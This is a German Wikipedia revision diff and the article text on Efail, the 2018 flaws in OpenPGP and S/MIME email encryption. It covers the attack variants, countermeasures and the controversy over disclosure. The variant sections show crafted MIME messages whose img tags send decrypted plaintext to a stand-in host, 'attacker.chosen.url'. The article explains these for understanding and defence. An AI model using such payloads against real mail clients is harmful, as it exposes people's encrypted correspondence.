„Efail“ – Versionsunterschied

aus Wikipedia, der freien Enzyklopädie
Zur Navigation springen Zur Suche springen
Versionsgeschichte interaktiv durchsuchen
[gesichtete Version][gesichtete Version]
← Zum vorherigen VersionsunterschiedZum nächsten Versionsunterschied →
Inhalt gelöscht Inhalt hinzugefügt
VisuellWikitext
K gemäß = Präposition mit Dativ
Duesee (Diskussion | Beiträge)
4 Bearbeitungen
KKeine Bearbeitungszusammenfassung
(Eine dazwischenliegende Version desselben Benutzers wird nicht angezeigt)
Zeile 13: Zeile 13:
| Produkt = [[E-Mail-Programm]]e, OpenPGP, S/MIME
| Produkt = [[E-Mail-Programm]]e, OpenPGP, S/MIME
}}
}}
'''Efail''' (Eigenschreibweise: EFAIL) sind zwei Sicherheitslücken in [[E-Mail]]-Systemen, mit denen Inhalte von [[Ende-zu-Ende-Verschlüsselung|Ende zu Ende verschlüsselt]] übertragen werden können. Die Lücke ist bei den beiden dafür üblichen Verschlüsselungstechnologien [[OpenPGP]] und [[S/MIME]] ausnutzbar. In Folge der Sicherheitslücken können Angreifer den Klartext verchlüsselter E-Mails nach der Entschlüsselung aus betroffenen E-Mail-Clients ausschleusen und an einen von ihnen kontrollierten Server übertragen. Die verwendeten Schlüssel werden nicht preisgegeben.
'''Efail''' (Eigenschreibweise: EFAIL) beschreibt zwei Sicherheitslücken im Kontext von [[Ende-zu-Ende-Verschlüsselung|Ende zu Ende verschlüsselten]] E-Mails. Die Lücken sind bei den beiden dafür üblichen Verschlüsselungstechnologien [[OpenPGP]] und [[S/MIME]] ausnutzbar. In Folge der Sicherheitslücken können Angreifer den Klartext verschlüsselter E-Mails nach der Entschlüsselung aus betroffenen E-Mail-Clients ausschleusen und an einen von ihnen kontrollierten Server übertragen. Die verwendeten Schlüssel werden nicht preisgegeben. Voraussetzung für einen erfolgreichen Angriff ist, dass das verwendete [[Verschlüsselungsverfahren]] angreifbar ist und das [[E-Mail-Programm]] aktive Inhalte wie bspw. [[HTML]] ausführt und externe Inhalte nachlädt.
Voraussetzung für einen erfolgreichen Angriff ist, dass das verwendete [[Verschlüsselungsverfahren]] angreifbar und das [[E-Mail-Programm]] mindestens eines Empfängers der verschlüsselten E-Mai verwundbar ist und aktive Inhalte wie [[HTML]] oder [[JavaScript]] ausführt oder externe Inhalte automatisch nachlädt.


Die Sicherheitslücken wurden von Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk am 13. Mai 2018 als Beitrag zum 27th [[USENIX]] Security Symposium, Baltimore, August 2018, eingereicht und öffentlich gemacht.
Die Sicherheitslücken wurden von Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk am 13. Mai 2018 als Beitrag zum 27th [[USENIX]] Security Symposium, Baltimore, August 2018, eingereicht und öffentlich gemacht.
Zeile 20: Zeile 19:
== Beschreibung ==
== Beschreibung ==
=== Angreifermodell ===
=== Angreifermodell ===
Der Angreifer muss für einen erfolgreichen Angriff Zugriff auf E-Mail-Nachrichten in ihrer verschlüsselten Form haben. Das kann z. B. durch fehlende Transportverschlüsselung (siehe z. B. [[Transport Layer Security]]) oder einen erfolgreichen Angriff auf den Email Provider gegeben sein. Zudem muss ein Angreifer entweder die Möglichkeit haben mindestens einem der regulären verwundbaren Empfänger dieser E-Mail eine weitere modifizierte E-Mail zu senden oder die E-Mail direkt beim Transport zu einem verwundbaren Empfängen oder an ihrem Speicherort bei ihm zu modifizieren.
Der Angreifer benötigt für einen erfolgreichen Angriff Zugriff auf verschlüsselte E-Mails. Das kann z. B. durch fehlende Transportverschlüsselung (siehe z. B. [[Transport Layer Security]]) oder einen erfolgreichen Angriff auf den Email Provider gegeben sein. Zudem muss ein Angreifer die Möglichkeit haben mindestens einem der regulären Empfänger dieser E-Mail eine modifizierte Variante der E-Mail zu senden oder diese an ihrem Speicherort zu modifizieren.


=== Variante 1 – Malleability Gadgets ===
=== Variante 1 – Malleability Gadgets ===
In der ersten Variante von Efail, dem ''„malleability gadget“'' (von {{enS|malleability|de=Formbarkeit}} und ''gadget'', deutsch ‚Vorrichtung‘) Angriff werden gezielt Änderungen am [[Geheimtext]] vorgenommen um neue Klartextblöcke in eine verschlüsselte Mail einzufügen. Die eingefügten Klartextblöcke nutzen dann eine Lücke im E-Mail-Client aus, um den Klartext der E-Mail an den Angreifer zu senden.
In der ersten Variante von Efail, dem ''„malleability gadget“'' (von {{enS|malleability|de=Formbarkeit}} und ''gadget'', deutsch ‚Vorrichtung‘) Angriff werden gezielt Änderungen am [[Geheimtext]] vorgenommen um neue Klartextblöcke in eine verschlüsselte E-Mail einzufügen. Die eingefügten Klartextblöcke nutzen dann standardkonforme Mechanismen, z. B. das HTML img Tag, um den Klartext der E-Mail an einen Angreifer zu senden. Diese Variante des Angriffs setzt voraus, dass das Verschlüsselungssystem keine Maßnahmen gegen Veränderungen des Geheimtexts einsetzt, wie bspw. [[Message Authentication Code]]s oder einen [[Kryptographische Hashfunktion|Modification Detection Code (MDC)]]. Dann können solche Veränderungen auch ohne Kenntnis des privaten Schlüssels vorgenommen werden.
Diese Variante des Angriffs setzt voraus, dass das Verschlüsselungssystem keine Maßnahmen gegen Veränderungen des Gehimtexts einsetzt, wie bspw. [[Message Authentication Code]]s oder einen [[Kryptographische Hashfunktion|Modification Detection Code (MDC)]]. Dann können solche Veränderungen auch ohne Kenntnis des privaten Schlüssels vorgenommen werden.


;Beispiel einer modifizierten S/MIME-Nachricht:
;Beispiel anhand von S/MIME

⚫
<syntaxhighlight lang="html">
Eine verschlüsselte S/MIME Nachricht hat folgende Struktur:<syntaxhighlight lang="http">
[...]
MIME-Version: 1.0
⚫
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: application/pkcs7-mime;
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
s-mime-typed-envelope-data
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"


MIAGCSqGSIb3DQEHA6CAMIACAQAxggNQMIIBpa...
attackertextENRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEattackertext
--BOUNDARY
...
</syntaxhighlight>
</syntaxhighlight>
Bei dem Body der Email handelt es sich um eine [[base64]]-kodierte Datenstruktur aus der [[Cryptographic Message Syntax]]. Innerhalb dieser Datenstruktur befindet sich der vom Angreifer modifizierte Ciphertext (im obigen Beispiel nicht enthalten). Obwohl manche Modifikationen erkannt werden können (z. B. wenn Ciphertextblöcke doppelt vorkommen) sind Änderungen nicht sofort ersichtlich. Nach Entschlüsselung der modifizierten Nachricht erhält der E-Mail-Client beispielsweise jedoch folgenden Klartext...
Der E-Mail-Client entschlüsselt diese Nachricht ohne zu erkennen, dass der Angreifer sie verändert hat und erhält so beispielsweise:
<syntaxhighlight lang="html">
<syntaxhighlight lang="http">
⚫
|Content-type: te|xt/html |
[...]
|<img ignore="|????????????????|" src="atta.ck/|????????????????|GEHEIMENACHRICHT|"> |
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
⚫
Content-Type: text/html

⚫
<img src="http://attacker.chosen.url?GEHEIMENACHRICHTGEHEIMENACHRICHT">
--BOUNDARY
...
</syntaxhighlight>
</syntaxhighlight>


Der Malleability-Gadget-Angriff betrifft alle Formen der Verschlüsselung gemäß dem S/MIME Standard, da dieser bis zur 2018 aktuellen Version keinen Schutz vor Veränderungen des Ciphertext spezifiziert. Bei der Verschlüsselung mit OpenPGP wird ein MDC mit allen aktuellen Verschlüsselungsverfahren standardmäßig eingesetzt ist aber nicht zwingend vorgesehen. Der Standard überlässt zudem die Behandlung von fehlenden oder inkorrekten MDCs der Implementierung.<ref>{{Internetquelle |autor=Shaw, David, Donnerhacke, Lutz, Thayer, Rodney, Finney, Hal, Callas, Jon |url=https://tools.ietf.org/html/rfc4880#section-5.13 |titel=OpenPGP Message Format |zugriff=2018-08-02 |sprache=en}}</ref> Das führte dazu, dass einige Clients die MDC Überprüfung fehlerhaft implementierten.
... wobei "|" zur Veranschaulichung der AES Blockgrenzen dient. Technisch bedingt führt der Gadget Angriff dazu, dass zufällige Bytes (gekennzeichnet mit "?") im Klartext produziert werden. Im obigen Beispiel werden diese daher über das nicht-existierende Attribut "ignore" auskommentiert um Fehler beim Parsen zu vermeiden. Der E-Mail-Client sendet dann beim Nachladen des Bildes ungewollt den geheimen Klartext an den Angreifer. Der Malleability Gadget Angriff betrifft alle Formen der Verschlüsselung gemäß dem S/MIME Standard, da dieser bis zur aktuellen Version 3.2 (2018) keinen Schutz vor Veränderungen des Ciphertext spezifiziert. Bei der Verschlüsselung mit OpenPGP wird ein MDC mit allen aktuellen Verschlüsselungsverfahren standardmäßig eingesetzt, ist aber nicht zwingend vorgesehen. Der Standard überlässt zudem die Behandlung von fehlenden oder inkorrekten MDCs der Implementierung.<ref>{{Internetquelle |autor=Shaw, David, Donnerhacke, Lutz, Thayer, Rodney, Finney, Hal, Callas, Jon |url=https://tools.ietf.org/html/rfc4880#section-5.13 |titel=OpenPGP Message Format |zugriff=2018-08-02 |sprache=en}}</ref> Das führte dazu, dass einige E-Mail-Clients die MDC Überprüfung fehlerhaft implementierten.


=== Variante 2 – Direct Exfiltration ===
=== Variante 2 – Direct Exfiltration ===
Die zweite Variante, ''„direct exfiltration“'', basiert auf einer fehlerhaften Implementierung des MIME Standards in E-Mail-Clients. Ein Angreifer fügt dazu vor und nach dem verschlüsselten Text gezielte Ergänzungn in die verschlüsselte E-Mail ein und verändert damit die Nachricht so, dass zum Einen eine mehrteilige Nachricht nach dem [[MIME]]-Standard (multipart/mixed) entsteht und zum Anderen der verschlüsselte Teil der Nachricht gemeinsam mit den Grenzmarkierungen der MIME-Nachricht als Parameterwert eines [[HTML-Tag]]s auftaucht:
Die zweite Variante, ''„direct exfiltration“'', basiert auf einer fehlerhaften Implementierung des MIME Standards in E-Mail-Clients und betrifft weder S/MIME noch OpenPGP direkt. Ein Angreifer fügt dazu vor und nach dem verschlüsselten Text gezielte Ergänzungen in die verschlüsselte E-Mail ein und verändert damit die Nachricht so, dass zum Einen eine mehrteilige Nachricht nach dem [[MIME]]-Standard (multipart/mixed) entsteht und zum Anderen der verschlüsselte Teil der Nachricht gemeinsam mit den Grenzmarkierungen der MIME-Nachricht als Parameterwert eines [[HTML-Tag]]s auftaucht:

⚫
;Beispiel einer modifizierten S/MIME-Nachricht
⚫
<syntaxhighlight lang="http">
⚫
Content-Type: multipart/mixed; boundary="BOUNDARY"


⚫
;Beispiel einer modifizierten S/MIME-Nachricht:
<syntaxhighlight lang="html">
[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
--BOUNDARY
Content-Type: text/html
Content-Type: text/html


<img src="http://attacker.chosen.url?
<img src="http://attacker.chosen.url/
--BOUNDARY
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
Content-Type: application/pkcs7-mime;
smime-type=enveloped-data;
s-mime-typed-envelope-data
name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="smime.p7m"


MIAGCSqGSIb3DQEHA6CAMIACAQAxggNQMIIBpa...
ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE
--BOUNDARY
--BOUNDARY
Content-Type: text/html
Content-Type: text/html


">
">
--BOUNDARY
--BOUNDARY--
...
</syntaxhighlight>
</syntaxhighlight>
Der E-Mail-Client zerlegt zunächst die mehrteilige Nachricht anhand der <code>--BOUNDARY</code>-Markierungen in ihre Einzelteile und entschlüsselt anschließend die verschlüsselten Teile. Anschließend setzt er die mehrteilige Nachricht wieder zusammen, und erhält so:
Der E-Mail-Client zerlegt zunächst die mehrteilige Nachricht anhand der <code>BOUNDARY</code>-Markierungen in ihre Einzelteile und entschlüsselt anschließend die verschlüsselten Teile. Anschließend setzt er die mehrteilige Nachricht wieder zusammen um alle Teile in einem gemeinsamen Fenster anzeigen zu können. Der resultierende HTML code ist somit:
<syntaxhighlight lang="html">
<syntaxhighlight lang="html">
[...]
[...]
⚫
<img src="http://attacker.chosen.url/
Content-Type: multipart/mixed;boundary="BOUNDARY"
⚫
GEHEIMENACHRICHTGEHEIMENACHRICHT">
[...]
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url?
⚫
GEHEIMENACHRICHTGEHEIMENACHRICHT">
--BOUNDARY
...
</syntaxhighlight>
</syntaxhighlight>


Version vom 5. August 2018, 20:08 Uhr

EFAIL

Typ Software
CVE-Nummer(n)

CVE-2017-17688 , CVE-2017-17689

Datum der Entdeckung 24. November 2017
Datum der Veröffentlichung 13. Mai 2018
Produkt(e)

E-Mail-Programme, OpenPGP, S/MIME

Efail (Eigenschreibweise: EFAIL) beschreibt zwei Sicherheitslücken im Kontext von Ende zu Ende verschlüsselten E-Mails. Die Lücken sind bei den beiden dafür üblichen Verschlüsselungstechnologien OpenPGP und S/MIME ausnutzbar. In Folge der Sicherheitslücken können Angreifer den Klartext verschlüsselter E-Mails nach der Entschlüsselung aus betroffenen E-Mail-Clients ausschleusen und an einen von ihnen kontrollierten Server übertragen. Die verwendeten Schlüssel werden nicht preisgegeben. Voraussetzung für einen erfolgreichen Angriff ist, dass das verwendete Verschlüsselungsverfahren angreifbar ist und das E-Mail-Programm aktive Inhalte wie bspw. HTML ausführt und externe Inhalte nachlädt.

Die Sicherheitslücken wurden von Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk am 13. Mai 2018 als Beitrag zum 27th USENIX Security Symposium, Baltimore, August 2018, eingereicht und öffentlich gemacht.

Beschreibung

Angreifermodell

Der Angreifer benötigt für einen erfolgreichen Angriff Zugriff auf verschlüsselte E-Mails. Das kann z. B. durch fehlende Transportverschlüsselung (siehe z. B. Transport Layer Security) oder einen erfolgreichen Angriff auf den Email Provider gegeben sein. Zudem muss ein Angreifer die Möglichkeit haben mindestens einem der regulären Empfänger dieser E-Mail eine modifizierte Variante der E-Mail zu senden oder diese an ihrem Speicherort zu modifizieren.

Variante 1 – Malleability Gadgets

In der ersten Variante von Efail, dem „malleability gadget“ (von englisch malleability ‚Formbarkeit‘ und gadget, deutsch ‚Vorrichtung‘) Angriff werden gezielt Änderungen am Geheimtext vorgenommen um neue Klartextblöcke in eine verschlüsselte E-Mail einzufügen. Die eingefügten Klartextblöcke nutzen dann standardkonforme Mechanismen, z. B. das HTML img Tag, um den Klartext der E-Mail an einen Angreifer zu senden. Diese Variante des Angriffs setzt voraus, dass das Verschlüsselungssystem keine Maßnahmen gegen Veränderungen des Geheimtexts einsetzt, wie bspw. Message Authentication Codes oder einen Modification Detection Code (MDC). Dann können solche Veränderungen auch ohne Kenntnis des privaten Schlüssels vorgenommen werden.

Beispiel anhand von S/MIME

Eine verschlüsselte S/MIME Nachricht hat folgende Struktur:

MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
	smime-type=enveloped-data;
	name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7m"

MIAGCSqGSIb3DQEHA6CAMIACAQAxggNQMIIBpa...

Bei dem Body der Email handelt es sich um eine base64-kodierte Datenstruktur aus der Cryptographic Message Syntax. Innerhalb dieser Datenstruktur befindet sich der vom Angreifer modifizierte Ciphertext (im obigen Beispiel nicht enthalten). Obwohl manche Modifikationen erkannt werden können (z. B. wenn Ciphertextblöcke doppelt vorkommen) sind Änderungen nicht sofort ersichtlich. Nach Entschlüsselung der modifizierten Nachricht erhält der E-Mail-Client beispielsweise jedoch folgenden Klartext... 

|Content-type: te|xt/html         |
|<img    ignore="|????????????????|"  src="atta.ck/|????????????????|GEHEIMENACHRICHT|">              |

... wobei "|" zur Veranschaulichung der AES Blockgrenzen dient. Technisch bedingt führt der Gadget Angriff dazu, dass zufällige Bytes (gekennzeichnet mit "?") im Klartext produziert werden. Im obigen Beispiel werden diese daher über das nicht-existierende Attribut "ignore" auskommentiert um Fehler beim Parsen zu vermeiden. Der E-Mail-Client sendet dann beim Nachladen des Bildes ungewollt den geheimen Klartext an den Angreifer. Der Malleability Gadget Angriff betrifft alle Formen der Verschlüsselung gemäß dem S/MIME Standard, da dieser bis zur aktuellen Version 3.2 (2018) keinen Schutz vor Veränderungen des Ciphertext spezifiziert. Bei der Verschlüsselung mit OpenPGP wird ein MDC mit allen aktuellen Verschlüsselungsverfahren standardmäßig eingesetzt, ist aber nicht zwingend vorgesehen. Der Standard überlässt zudem die Behandlung von fehlenden oder inkorrekten MDCs der Implementierung.[1] Das führte dazu, dass einige E-Mail-Clients die MDC Überprüfung fehlerhaft implementierten.

Variante 2 – Direct Exfiltration

Die zweite Variante, „direct exfiltration“, basiert auf einer fehlerhaften Implementierung des MIME Standards in E-Mail-Clients und betrifft weder S/MIME noch OpenPGP direkt. Ein Angreifer fügt dazu vor und nach dem verschlüsselten Text gezielte Ergänzungen in die verschlüsselte E-Mail ein und verändert damit die Nachricht so, dass zum Einen eine mehrteilige Nachricht nach dem MIME-Standard (multipart/mixed) entsteht und zum Anderen der verschlüsselte Teil der Nachricht gemeinsam mit den Grenzmarkierungen der MIME-Nachricht als Parameterwert eines HTML-Tags auftaucht:

Beispiel einer modifizierten S/MIME-Nachricht
Content-Type: multipart/mixed; boundary="BOUNDARY"

--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
--BOUNDARY
MIME-Version: 1.0
Content-Type: application/pkcs7-mime;
	smime-type=enveloped-data;
	name="smime.p7m"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="smime.p7m"

MIAGCSqGSIb3DQEHA6CAMIACAQAxggNQMIIBpa...
--BOUNDARY
Content-Type: text/html

">
--BOUNDARY--

Der E-Mail-Client zerlegt zunächst die mehrteilige Nachricht anhand der BOUNDARY-Markierungen in ihre Einzelteile und entschlüsselt anschließend die verschlüsselten Teile. Anschließend setzt er die mehrteilige Nachricht wieder zusammen um alle Teile in einem gemeinsamen Fenster anzeigen zu können. Der resultierende HTML code ist somit: 

[...]
<img src="http://attacker.chosen.url/
GEHEIMENACHRICHTGEHEIMENACHRICHT">
[...]

Übertragung des Klartexts an den Angreifer

In diesen Nachrichten stehen nun jeweils die entschlüsselten Inhalte der E-Mail im src=-Attribut des <img>-HTML-Tags und wird vom E-Mail-Programm beim Anfordern dieses Inhalts als URL an den vom Angreifer kontrollierten Webserver attacker.chosen.url übergeben. Der Angreifer kann nun den Inhalt der verschlüsselten Nachricht bspw. aus den Logdateien entnehmen.

Gegenmaßnahmen

Da die Sicherheitslücken sich gegen den Inhalt der E-Mail richten, und nicht gegen einen einzelnen Empfänger, ist es notwendig, dass alle Empfänger geeignete Gegenmaßnahmen umsetzen.

Als erschwerende Gegenmaßnahmen zählen u.A.:

  1. Deaktivierung aktiver Inhalte wie HTML oder JavaScript bei der E-Mail-Anzeige.
  2. Unterdrückung des automatischen Nachladens externer Inhalte, wie z. B. Bilder.

Inwiefern auch die Absender verschlüsselter Inhalte die Angreifbarkeit vermindern können, z. B. durch elektronische Signaturen, ist noch nicht abschließend geklärt.

Da S/MIME in der aktuellen Form grundsätzlich keine Möglichkeit bietet eine Email vor Änderungen zu schützen, ist unklar, wie man mit empfangenen (und potenziell veränderten) Daten umgehen sollen.

Kritik

In der Ankündigung der Sicherheitslücke am 13. Mai 2018 hat die Electronic Frontier Foundation (EFF) empfohlen, vorerst auf PGP-Plugins in E-Mail-Programmen zu verzichten.[2][3] Die Veröffentlichung hätte abgestimmt erst am 15. Mai erfolgen sollen. Dieses Vorgehen wurde vielfach kritisiert bzw. kontrovers diskutiert.[4][5][6][7] In sozialen Netzwerken hat sich ein Shitstorm gegen die EFF entwickelt.[8] In einem Essay empfiehlt Robert Hansen eine geschlossene Gruppe, z. B. in Form einer Mailingliste, einzurichten, um zukünftige Veröffentlichungen von Sicherheitslücken im Vorfeld besser koordinieren zu können. Trotz seiner Verärgerung über die EFF, sieht er diese als bestes Organ an, eine solche "OpenPGP Disclosure Group" zu verwalten, und spricht konkret deren Direktor, Danny O'Brien, an.[9]

Literatur

  • Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky und Jörg Schwenk: Efail: Breaking S/MIME and OpenPGP Email Encryption using Exfiltration Channels. (englisch, efail.de [PDF]).

Einzelnachweise

  1. ↑ Shaw, David, Donnerhacke, Lutz, Thayer, Rodney, Finney, Hal, Callas, Jon: OpenPGP Message Format. Abgerufen am 2. August 2018 (englisch).
  2. ↑ EFF on Twitter. In: Twitter. 13. Mai 2018 (englisch, twitter.com [abgerufen am 17. Mai 2018]): “To protect yourself, EFF highly recommends that for now you uninstall or disable your PGP email plug-in.”
  3. ↑ Danny O'Brien and Gennie Gebhart: Attention PGP Users: New Vulnerabilities Require You To Take Action Now. Hrsg.: Electronic Frontier Foundation. 13. Mai 2018 (englisch, eff.org [abgerufen am 17. Mai 2018]).
  4. ↑ heise online: Kommentar: Efail ist ein EFFail. 16. Mai 2018, abgerufen am 17. Mai 2018.
  5. ↑ heise Security: Enigmail-Chefentwickler im Interview: Efail-Veröffentlichung war "unüberlegt". 15. Mai 2018, abgerufen am 17. Mai 2018.
  6. ↑ Werner Koch (OpenPGP): Efail or OpenPGP is safer than S/MIME. In: gnupg-users. 14. Mai 2018, abgerufen am 17. Mai 2018 (englisch).
  7. ↑ Matthew Green: Was the Efail disclosure horribly screwed up? In: A Few Thoughts on Cryptographic Engineering. 17. Mai 2018 (englisch, cryptographyengineering.com [abgerufen am 17. Mai 2018]).
  8. ↑ Hashtag #EFFail auf Twitter. Abgerufen am 17. Mai 2018.
  9. ↑ Robert Hansen: Efail: A Postmortem. In: medium.com. 20. Mai 2018, abgerufen am 21. Mai 2018.
Abgerufen von „https://de.wikipedia.org/w/index.php?title=Efail&oldid=179752499“